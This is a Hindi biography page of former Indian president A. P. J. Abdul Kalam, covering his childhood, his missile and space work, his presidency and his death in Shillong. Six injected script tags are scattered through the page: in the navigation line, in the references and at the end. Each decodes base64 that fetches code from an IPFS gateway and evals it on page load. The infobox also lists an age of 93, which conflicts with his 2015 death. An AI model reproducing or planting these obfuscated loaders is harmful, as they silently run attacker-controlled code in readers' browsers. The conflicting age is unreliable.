<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> राजनीतिक जीवन   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> व्यक्तित्व   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> अंतिम समय   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> अनमोल वचन
अब्दुल कलाम
Abdul-Kalam.jpg
पूरा नाम अवुल पकिर जैनुल्लाब्दीन अब्दुल कलाम
अन्य नाम मिसाइल मैन
जन्म 15 अक्तूबर, 1931

(आयु- 93 वर्ष)

जन्म भूमि रामेश्वरम, तमिलनाडु
मृत्यु 27 जुलाई, 2015
मृत्यु स्थान शिलांग, मेघालय
अभिभावक जैनुलाब्दीन
पति/पत्नी अविवाहित
नागरिकता भारतीय
प्रसिद्धि भारतीय मिसाइल कार्यक्रम के जनक
पद भारत के 11वें राष्ट्रपति
कार्य काल 25 जुलाई, 2002 से 25 जुलाई, 2007
शिक्षा स्नातक
विद्यालय मद्रास इंस्टीट्यूट ऑफ़ टेक्नोलॉजी
भाषा हिन्दी, अंग्रेज़ी, तमिल
पुरस्कार-उपाधि भारत रत्न (1997), पद्म विभूषण (1990), पद्म भूषण (1981), इंदिरा गाँधी राष्ट्रीय एकता पुरस्कार एवं देशी-विदेशी कई विश्वविद्यालयों से मानद डॉक्टरेट की उपाधि
संबंधित लेख अब्दुल कलाम के अनमोल वचन
पुस्तकें 'विंग्स ऑफ़ फ़ायर' (जीवनी), 'इण्डिया 2020- ए विज़न फ़ॉर द न्यू मिलेनियम', भारत की आवाज़, टर्निंग प्वॉइंट्स, हम होंगे कामयाब
अन्य जानकारी डॉक्टर कलाम ने भारत के विकास स्तर को 2020 तक विज्ञान के क्षेत्र में अत्याधुनिक करने के लिए एक विशिष्ट सोच प्रदान की। यह भारत सरकार के 'मुख्य वैज्ञानिक सलाहकार' भी रहे।
बाहरी कड़ियाँ आधिकारिक वेबसाइट

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अवुल पकिर जैनुल्लाब्दीन अब्दुल कलाम (अंग्रेज़ी: Avul Pakir Jainulabdeen Abdul Kalam; जन्म: 15 अक्तूबर, 1931, रामेश्वरम; मृत्यु: 27 जुलाई, 2015 शिलांग) जिन्हें डॉ. ए. पी. जे. अब्दुल कलाम के नाम से जाना जाता है, भारत के पूर्व राष्ट्रपति, प्रसिद्ध वैज्ञानिक और अभियंता के रूप में विख्यात थे। उनका राष्ट्रपति कार्यकाल 25 जुलाई, 2002 से 25 जुलाई, 2007 तक रहा। उन्हें मिसाइल मैन के नाम से भी जाना जाता है। वह एक गैर राजनीतिक व्यक्ति थे। विज्ञान की दुनिया में चमत्कारिक प्रदर्शन के कारण ही राष्ट्रपति भवन के द्वार उनके लिए स्वत: ही खुल गए। जो व्यक्ति किसी क्षेत्र विशेष में सर्वश्रेष्ठ प्रदर्शन करता है, उसके लिए सब सहज हो जाता है और कुछ भी दुर्लभ नहीं रहता। अब्दुल कलाम इस उद्धरण का प्रतिनिधित्व करते नज़र आते थे। उन्होंने विवाह नहीं किया था। उनकी जीवन गाथा किसी रोचक उपन्यास के नायक की कहानी से कम नहीं है। चमत्कारिक प्रतिभा के धनी अब्दुल कलाम का व्यक्तित्व इतना उन्नत था कि वह सभी धर्म, जाति एवं सम्प्रदायों के व्यक्ति नज़र आते थे। वह एक ऐसे स्वीकार्य भारतीय थे, जो सभी के लिए 'एक महान् आदर्श' बन चुके हैं। विज्ञान की दुनिया से देश का प्रथम नागरिक बनना कपोल कल्पना मात्र नहीं है, क्योंकि यह एक जीवित प्रणेता की सत्य कथा है।

जीवन परिचय

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किशोरावस्था में अब्दुल कलाम

रामेश्वरम का प्राकृतिक सौन्दर्य समुद्र की निकटता के कारण सदैव बहुत दर्शनीय रहा है। उनके पिता 'जैनुलाब्दीन' न तो ज़्यादा पढ़े-लिखे थे, न ही पैसे वाले थे। वे नाविक थे, और नियम के बहुत पक्के थे। उनके पिता मछुआरों को नाव किराये पर दिया करते थे। उनके संबंध रामेश्वरम के हिन्दू नेताओं तथा अध्यापकों के साथ काफ़ी स्नेहपूर्ण थे। अब्दुल कलाम ने अपनी आरंभिक शिक्षा जारी रखने के लिए अख़बार वितरित करने का कार्य भी किया था।

विद्यार्थी जीवन

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अब्दुल कलाम जब आठ-नौ साल के थे, तब से सुबह चार बजे उठते थे और स्नान करने के बाद गणित के अध्यापक स्वामीयर के पास गणित पढ़ने चले जाते थे। स्वामीयर की यह विशेषता थी कि जो विद्यार्थी स्नान करके नहीं आता था, वह उसे नहीं पढ़ाते थे। स्वामीयर एक अनोखे अध्यापक थे और पाँच विद्यार्थियों को प्रतिवर्ष नि:शुल्क ट्यूशन पढ़ाते थे। इनकी माता इन्हें उठाकर स्नान कराती थीं और नाश्ता करवाकर ट्यूशन पढ़ने भेज देती थीं। अब्दुल कलाम ट्यू्शन पढ़कर साढ़े पाँच बजे वापस आते थे। उसके बाद अपने पिता के साथ नमाज़ पढ़ते थे। फिर क़ुरान शरीफ़ का अध्ययन करने के लिए वह अरेशिक स्कूल (मदरसा) चले जाते थे। इसके पश्चात्त अब्दुल कलाम रामेश्वरम के रेलवे स्टेशन और बस अड्डे पर जाकर समाचार पत्र एकत्र करते थे।

कार्यक्षेत्र

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1962 में वे 'भारतीय अंतरिक्ष अनुसंधान संगठन' में आये। डॉक्टर अब्दुल कलाम को प्रोजेक्ट डायरेक्टर के रूप में भारत का पहला स्वदेशी उपग्रह (एस.एल.वी. तृतीय) प्रक्षेपास्त्र बनाने का श्रेय हासिल है। जुलाई 1980 में इन्होंने रोहिणी उपग्रह को पृथ्वी की कक्षा के निकट स्थापित किया था। इस प्रकार भारत भी 'अंतर्राष्ट्रीय अंतरिक्ष क्लब' का सदस्य बन गया। 'इसरो लॉन्च व्हीकल प्रोग्राम' को परवान चढ़ाने का श्रेय भी इन्हें प्रदान किया जाता है। डॉक्टर कलाम ने स्वदेशी लक्ष्य भेदी (गाइडेड मिसाइल्स) को डिज़ाइन किया। इन्होंने अग्नि एवं पृथ्वी जैसी मिसाइल्स को स्वदेशी तकनीक से बनाया था। डॉक्टर कलाम जुलाई 1992 से दिसम्बर 1999 तक रक्षा मंत्री के 'विज्ञान सलाहकार' तथा 'सुरक्षा शोध और विकास विभाग' के सचिव थे। उन्होंने स्ट्रेटेजिक मिसाइल्स सिस्टम का उपयोग आग्नेयास्त्रों के रूप में किया।

व्यावसायिक परिचय

दक्षिण अफ़्रीका के पूर्व राष्ट्रपति नेल्सन मंडेला के साथ अब्दुल कलाम

डॉ. अब्दुल कलाम जब एच.ए.एल. से एक वैमानिकी इंजीनियर बनकर निकले तो उनके पास नौकरी के दो बड़े अवसर थे। ये दोनों ही उनके बरसों पुराने उड़ान के सपने को पूरा करने वाले थे। एक अवसर भारतीय वायुसेना का था और दूसरा रक्षा मंत्रालय के अधीन 'तकनीकी विकास एवं उत्पादन निदेशालय' का था। उन्होंने दोनों जगहों पर साक्षात्कार दिया। वे रक्षा मंत्रालय के तकनीकी विकास एवं उत्पादन निदेशालय में चुन लिए गए। सन् 1958 में इन्होंने 250 रुपए के मूल वेतन पर निदेशालय के तकनीकी केंद्र (उड्डयन) में वरिष्ठ वैज्ञानिक सहायक के पद पर काम संभाल लिया।

विशेष योगदान

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रूस के राष्ट्रपति व्लादिमिर पुतिन और भारत के पूर्व प्रधानमंत्री अटल बिहारी वाजपेयी के साथ अब्दुल कलाम

राजनीतिक जीवन

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डॉक्टर अब्दुल कलाम राजनीतिक क्षेत्र के व्यक्ति नहीं हैं लेकिन राष्ट्रवादी सोच और राष्ट्रपति बनने के बाद भारत की कल्याण संबंधी नीतियों के कारण इन्हें कुछ हद तक राजनीतिक दृष्टि से सम्पन्न माना जा सकता है। इन्होंने अपनी पुस्तक 'इण्डिया 2020' में अपना दृष्टिकोण स्पष्ट किया है। यह भारत को अंतरिक्ष विज्ञान के क्षेत्र में दुनिया का सिरमौर राष्ट्र बनते देखना चाहते हैं और इसके लिए इनके पास एक कार्य योजना भी है। परमाणु हथियारों के क्षेत्र में यह भारत को सुपर पॉवर बनाने की बात सोचते रहे हैं। वह विज्ञान के अन्य क्षेत्रों में भी तकनीकी विकास चाहते हैं।

व्यक्तित्व एवं कृतित्व

डॉ. कलाम इसरो के वैज्ञानिकों को पढ़ाते हुए, सन् 1980

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डॉ. कलाम एक बहुआयामी व्यक्तित्व के धनी हैं। वेशभूषा, बोलचाल के लहजे, अच्छे-खासे सरकारी आवास को छोड़कर हॉस्टल का सादगीपूर्ण जीवन, ये बातें उनके संपर्क में आने वाले प्रत्येक व्यक्ति पर एक सम्मोहक प्रभाव छोड़ती हैं। विज्ञान, प्रौद्योगिकी, देश के विकास और युवा मस्तिष्कों को प्रज्ज्वलित करने में अपनी तल्लीनता के साथ साथ वे पर्यावरण की चिंता भी खूब करते हैं, साहित्य में रुचि रखते हैं, कविता लिखते हैं, वीणा बजाते हैं, तथा अध्यात्म से बहुत गहरे जुड़े हुए हैं। डॉ. कलाम में अपने काम के प्रति जबर्दस्त दीवानगी है। उनके लिए कोई भी समय काम का समय होता है। वह अपना अधिकांश समय कार्यालय में बिताते हैं। देर शाम तक विभिन्न कार्यक्रमों में डॉ. कलाम की सक्रियता तथा स्फूर्ति काबिलेतारीफ है। ऊर्जा का ऐसा प्रवाह केवल गहरी प्रतिबद्धता तथा समर्पण से ही आ सकता है। डॉ. कलाम खानपान में पूर्णत: शाकाहारी व्यक्ति हैं। वे मदिरापान से बिलकुल परहेज करते हैं। उनका निजी जीवन अनुकरणीय है। डॉ. कलाम की याददाश्त बहुत तेज है। वे घटनाओं तथा बातों को याद रखते हैं।[1]

सम्मान और पुरस्कार

डॉ. कलाम को अनेक सम्मान और पुरस्कार मिले हैं जिनमें शामिल हैं-

विशेषता

अब्दुल कलाम

अंतिम समय

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27 जुलाई, 2015 की शाम अब्दुल कलाम 'भारतीय प्रबंधन संस्थान शिलोंग' में 'रहने योग्य ग्रह' पर एक व्याख्यान दे रहे थे, तब उन्हें दिल का दौरा पड़ा और वे बेहोश होकर गिर पड़े। लगभग 6:30 बजे गंभीर हालत में उन्हें बेथानी अस्पताल में आईसीयू में ले जाया गया और दो घंटे के बाद उनकी मृत्यु की पुष्टि कर दी गई। अस्पताल के सीईओ जॉन साइलो के अनुसार- "जब कलाम को अस्पताल लाया गया, तब उनकी नब्ज और रक्तचाप साथ छोड़ चुके थे। अपने निधन से लगभग 9 घण्टे पहले ही उन्होंने ट्वीट करके बताया था कि- "वह शिलोंग आईआईएम में लेक्चर के लिए जा रहे हैं।" कलाम अक्टूबर, 2015 में 84 साल के होने वाले थे। मेघालय के राज्यपाल वी. षडमुखनाथन, अब्दुल कलाम के हॉस्पिटल में प्रवेश की खबर सुनते ही सीधे अस्पताल पहुँच गए थे, बाद में षडमुखनाथन ने बताया कि कलाम को बचाने की चिकित्सा दल की कोशिशों के बाद भी शाम 7:45 पर उनका निधन हो गया। कलाम के निधन का समाचार पाकर पूरे देश में शोक की लहर दौड़ गई।



भारत के राष्ट्रपति
Arrow-left.png पूर्वाधिकारी
के. आर. नारायणन
अब्दुल कलाम उत्तराधिकारी
प्रतिभा पाटिल
Arrow-right.png

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टीका टिप्पणी और संदर्भ

  1. डॉ. ए.पी.जे. अब्दुल कलाम : व्यक्तित्व एवं कृतित्व (हिंदू) शैक्षिक ई-सामग्री। अभिगमन तिथि: 15 दिसम्बर, ।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

संबंधित लेख

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>